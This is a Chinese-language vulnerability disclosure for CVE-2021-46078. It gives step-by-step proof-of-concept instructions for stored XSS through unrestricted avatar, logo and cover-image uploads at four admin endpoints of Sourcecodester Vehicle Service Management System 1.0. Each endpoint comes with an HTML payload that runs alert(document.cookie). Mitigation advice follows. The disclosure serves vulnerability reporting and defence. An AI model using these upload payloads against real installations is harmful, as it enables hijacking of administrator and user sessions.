CVE-2021-46078
漏洞利用标题:车辆服务管理系统 - 多处文件上传导致存储型跨站脚本攻击
CVE:CVE-2021-46078
CVSS:4.8 中危
参考来源:
描述:
Sourcecodester Vehicle Service Management System 1.0 存在无限制文件上传漏洞。远程攻击者可上传恶意文件,导致存储型跨站脚本攻击漏洞。
1. 车辆服务管理系统 - '我的账户' (/admin/?page=user)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至我的账户部分 http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将上述HTML代码保存为例如 XSS.html
- 在我的账户部分填写所有必填信息,并在头像中选择该HTML文件。
- 点击更新按钮。
- 在新标签页中打开头像图片。
- 恶意JavaScript代码被触发。
2. 车辆服务管理系统 - '用户列表' (/admin/?page=user/manage_user)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至用户列表部分,点击新建按钮。
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将上述HTML代码保存为例如 XSS.html
- 在新建用户页面填写所有必填信息,并在头像中选择该HTML文件。
- 点击保存按钮。
- 在新标签页中打开头像图片。
- 恶意JavaScript代码被触发。
3. 车辆服务管理系统 - '设置 - 系统标志' (/admin/?page=system_info)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将上述HTML代码保存为例如 XSS.html
- 在设置部分填写所有必填信息,并在系统标志中选择该HTML文件。
- 点击更新按钮。
- 在新标签页中打开系统标志图片。
- 恶意JavaScript代码被触发。
4. 车辆服务管理系统 - '设置 - 网站封面' (/admin/?page=system_info)
利用步骤:
- 登录管理面板 http://localhost/vehicle_service/admin
- 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 将上述HTML代码保存为例如 XSS.html
- 在设置部分填写所有必填信息,并在网站封面中选择该HTML文件。
- 点击更新按钮。
- 在新标签页中打开网站封面图片。
- 恶意JavaScript代码被触发。
影响:
攻击者能够在多个端点上上传恶意文件,导致存储型跨站脚本攻击。
缓解措施:
建议实施以下措施:
- 切勿直接接受文件名及其扩展名而不使用白名单过滤器。
- 如果不需要 Unicode 字符,强烈建议仅接受字母数字字符和文件名及扩展名中仅有一个点号。
- 限制文件大小至最大值,以防止拒绝服务攻击。
- 上传目录不应具有任何“执行”权限。
- 不要仅依赖客户端验证。